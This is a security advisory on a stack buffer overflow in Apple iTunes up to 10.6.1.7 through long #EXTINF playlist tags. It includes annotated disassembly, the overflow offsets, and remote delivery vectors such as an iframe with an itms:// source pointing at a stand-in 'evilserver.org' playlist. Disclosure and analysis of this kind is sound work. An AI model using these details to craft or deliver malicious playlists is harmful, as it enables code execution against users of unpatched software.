Apple iTunes <= 10.6.1.7 Extended M3U Stack Buffer Overflow



==========================
* VULNERABILITY OVERVIEW * 
==========================


A stack based buffer overflow exists in Apple iTunes 10.4.0.80 to 10.6.1.7.

When opening an extended .m3u playlist file which contains an "#EXTINF:" tag
description iTunes will first open and read that file. An extended m3u playlist
file (http://en.wikipedia.org/wiki/M3U8) can look like this:

#EXTM3U
#EXTINF:4,A_lot_of_junk_to_copy
C:\what\ever.mp3

After reading the playlist, the "#EXTINF:" information is first stored in a heap
buffer. Then "#EXTINF:4," is stripped from that buffer and the content
(A_lot_of_junk_to_copy) is copied from the heap buffer to a 0x274 bytes sized
stack buffer without appropriate boundary checks using a REP MOVSD instruction.
The destination seems always to be the address of the stack buffer + offset 0x164,
thus leaving 0x110 bytes of space before reaching the boundary and overflowing
information after it (stored EBP, return address etc.)
This was observed using iTunes 10.6.1.7 on Windows. The MacOS version behaves in
the same way except that a library MEMMOVE function is used instead of REP MOVSD.



=========================
* VULNERABILITY DETAILS * 
=========================


NOTES:
* For this analysis iTunes 10.6.1.7 with QuickTime 7.7.2 on Windows XP SP3 EN
was used. The file of interest with the vulnerability is iTunes.dll
* iTunes.dll had the base address of 0x10000000
* When attaching a debugger to iTunes the debug flag was reset to 0
(e.g.: mov BYTE [[fs:30]+2], 0 ). Once this was not the case, the process
terminated itself.
* Arrows (-->) indicate continuation on the following code block here.


VULNERABLE PROGRAM FLOW:

(+) allocation of stack buffer:

1016F6C2  CALL iTunes_1.10172430    ; -->

10172430  PUSH EBP
10172431  MOV EBP,ESP
10172433  AND ESP,FFFFFFF8
10172436  SUB ESP,274               ; -> create stack buffer with size 0x274
[...]


(+) calls to other functions which request the file, read it and store it
    into a heap buffer. Then it is checked whether there exists an "#EXTINF:"
    section and "#EXTINF:" is stripped from the heap buffer:

103BD205  PUSH iTunes_1.110D8174                ; ASCII "#EXTINF:"
103BD20A  MOV ECX,1
103BD20F  PUSH 8                                ; length of "#EXTINF:"
103BD211  PUSH EBP                              ; pointer to heap buffer filled with "#EXTINF:,AAA..." from playlist
103BD212  LEA EDX,DWORD PTR DS:[ECX+7] 
103BD215  CALL iTunes_1.100D6200                ; -> check if heap buffer begins with "#EXTINF:" => EAX = 0 if true
103BD21A  ADD ESP,0C
103BD21D  TEST EAX,EAX                          ; EAX = 0 
103BD21F  JNZ iTunes_1.103BD350
103BD225  SUB ESI,8                             ; ESI => length of heap buffer - length of "#EXTINF:"
103BD228  ADD EBP,8                             ; advance pointer in buffer to remove "#EXTINF:" => buffer: ",AAA..."
[...]


(+) call to function which copies heap buffer with content after "#EXTINF:,"
    from the playlist into the stack buffer and causes an overflow if the 
    content is bigger than 0x110 bytes:

103BD2F9  PUSH ESI                  ; LENGTH of content after "#EXTINF:,"
103BD2FA  ADD EAX,8                 ; => EAX: Stack buffer address + offset 0x164
103BD2FD  PUSH EBP                  ; SRC: Heap buffer content after "#EXTINF:,"
103BD2FE  PUSH EAX                  ; DST: Stack buffer + offset 0x164 => 0x110 bytes of space left
103BD2FF  CALL iTunes_1.10DD3300    ; -> call to vulnerable copy operation (good breakpoint address) -->

10DD3300  ; ---------- iTunes_1.10DD3300:
10DD3300  PUSH EBP
10DD3301  MOV EBP,ESP
10DD3303  PUSH EDI
10DD3304  PUSH ESI
10DD3305  MOV ESI,DWORD PTR SS:[EBP+C]      ; SRC: Heap buffer with content after "#EXTINF:,"
10DD3308  MOV ECX,DWORD PTR SS:[EBP+10]     ; LENGTH of content after "#EXTINF:,"
10DD330B  MOV EDI,DWORD PTR SS:[EBP+8]      ; DST: Stack buffer + offset 0x164
10DD330E  MOV EAX,ECX
10DD3310  MOV EDX,ECX
10DD3312  ADD EAX,ESI
10DD3314  CMP EDI,ESI
10DD3316  JBE SHORT iTunes_1.10DD3320       ; jump taken
10DD3318  CMP EDI,EAX
10DD331A  JB iTunes_1.10DD34C4
10DD3320  
10DD3320  ; ---------- iTunes_1.10DD3320:
10DD3320  CMP ECX,100
10DD3326  JB SHORT iTunes_1.10DD3347        ; jump not taken
10DD3328  CMP DWORD PTR DS:[1146F100],0     ; here: *(0x1146F100) = 1 =>
10DD332F  JE SHORT iTunes_1.10DD3347        ; jump not taken
10DD3331  PUSH EDI
10DD3332  PUSH ESI
10DD3333  AND EDI,0F
10DD3336  AND ESI,0F
10DD3339  CMP EDI,ESI
10DD333B  POP ESI
10DD333C  POP EDI
10DD333D  JNZ SHORT iTunes_1.10DD3347       ; jump taken
10DD333F  POP ESI
10DD3340  POP EDI
10DD3341  POP EBP
10DD3342  JMP iTunes_1.10DDD594             ; not reached
10DD3347 
10DD3347  ; ---------- iTunes_1.10DD3347:                   copy routine
10DD3347  TEST EDI,3
10DD334D  JNZ SHORT iTunes_1.10DD3364       ; jump not taken
10DD334F  SHR ECX,2                         ; divide length by 4
10DD3352  AND EDX,3
10DD3355  CMP ECX,8
10DD3358  JB SHORT iTunes_1.10DD3384        ; jump not taken
10DD335A  REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]    ; stack buffer overflow by copying ECX*4 bytes
10DD335C  JMP DWORD PTR DS:[EDX*4+10DD3474]



===========
* EXPLOIT *
===========


LOCAL:

This flaw can be locally exploited if a user opens a malicious playlist via
"File"->"Library"->"Import Playlist..." in iTunes itself.


REMOTE:

This flaw can be remotely exploited if

1) a user opens a remote playlist (e.g.: http://evilserver.org/evilplay.m3u) by
using "Advanced"->"Open Stream" (and maybe other possibilities inside iTunes).

2) a user browses to a html page which has a itms:// source or link embedded 
pointing to an evil playlist
(e.g: <iframe src="itms://evilserver.org/evilplay.m3u" />).

The itms:// source instructs the browser to open iTunes. iTunes then requests
the playlist with http and loads it.
However, Google Chrome, Internet Explorer, Firefox and Opera ask the user if
iTunes should be openend. Some iTunes users will surely have set itms to
open automatically. And Safari never asks the user, it always opens iTunes on
itms:// links or sources in html pages.



=======
* FIX *
=======

This vulnerability was fixed in iTunes 10.6.3.25 on June 11 2012 but is not
listed explicitly in http://support.apple.com/kb/HT5318



Feedback is welcome :)



Greetings,


    Rh0